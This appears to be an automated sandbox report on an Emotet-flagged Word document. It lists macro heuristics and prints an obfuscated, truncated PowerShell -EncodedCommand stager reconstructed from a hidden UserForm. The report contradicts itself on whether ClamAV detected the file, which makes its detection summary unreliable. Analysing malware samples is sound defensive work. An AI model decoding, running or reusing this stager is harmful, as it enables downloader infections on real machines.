Malware Insights
The file contains VBA macros, specifically a Document_Open macro, which is a common delivery mechanism for Emotet. Critical heuristics indicate an obfuscated PowerShell stager within a UserForm, likely responsible for downloading and executing a second-stage payload. The reconstructed PowerShell command is: powershell -enc JABJAGEAOQB2vhaghsghfpAGEANQA2AD2vhaghsghf0AKAAnAEYAJ2vhaghsghfwArACcANwAn2vhaghsghfACsAKAAnAGI2vhaghsghfAcgBtACcAKw2vhaghsghfAnAGQANwAnA2vhaghsghfCkAKQA7AC4A2vhaghsghfKAAnAG4AZQB2vhaghsghf3AC0AJwArAC2vhaghsghfcAaQB0AGUAb2vhaghsghfQAnACkAIAAk2vhaghsghfAGUAbgB2ADo2vhaghsghfAVQBTAEUAUg2vhaghsghfBQAHIATwBGA2vhaghsghfEkAbABFAFwA2vhaghsghfRABnAGcATQB2vhaghsghfPADkAMQBcAF2vhaghsghfAAZABOAG8AV2vhaghsghfQBPAGMAXAAg2vhaghsghfAC0AaQB0AGU2vhaghsghfAbQB0AHkAcA2vhaghsghfBlACAARABpA2vhaghsghfHIAZQBjAFQA2vhaghsghfTwBSAFkAOwB2vhaghsghf4AUwBlAHIAd2vhaghsghfgBpAGMAZQBQ2vhaghsghfAG8AaQBuAHQ2vhaghsghfATQBhAG4AYQ2vhaghsghfBnAGUAcgBdA2vhaghsghfDoAOgAiAFMA2vhaghsghfZQBDAFUAcgB2vhaghsghfJAGAAVAB5AF2vhaghsghfAAYABSAGAAT2vhaghsghfwB0AG8AQwBv2vhaghsghfAEwAIgAgAD02vhaghsghfAIAAoACcAdA2vhaghsghfAnACsAKAAnA2vhaghsghfGwAcwAnACsA2vhaghsghfJwAxADIAJwA2vhaghsghfrACcALAAgAH2vhaghsghfQAbAAnACkAK2vhaghsghfwAnAHMAJwAr2vhaghsghfACcAMQAnACs2vhaghsghfAKAAnADEALA2vhaghsghfAnACsAJwAgA2vhaghsghfCcAKQArACgA2vhaghsghfJwB0AGwAJwA2vhaghsghfrACcAcwAnAC2vhaghsghfkAKQA7ACQAU2vhaghsghfwByAGwAegBh2vhaghsghfAGsAYgAgAD02vhaghsghfAIAAoACgAJw2vhaghsghfBMACcAKwAnA2vhaghsghfHUAdwAnACkA2vhaghsghfKwAoACcAZgB2vhaghsghfoACcAKw. The ClamAV signature also confirms its malicious nature as Emotet.
Heuristics 8
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Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELLOLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
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ClamAV: Doc.Downloader.Emotet-9760846-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-9760846-0
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basd836c5415d0cd6d772a683c60ac608b6fac152a60e8d7adaeb3bed5561a7f6e2 |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 22931 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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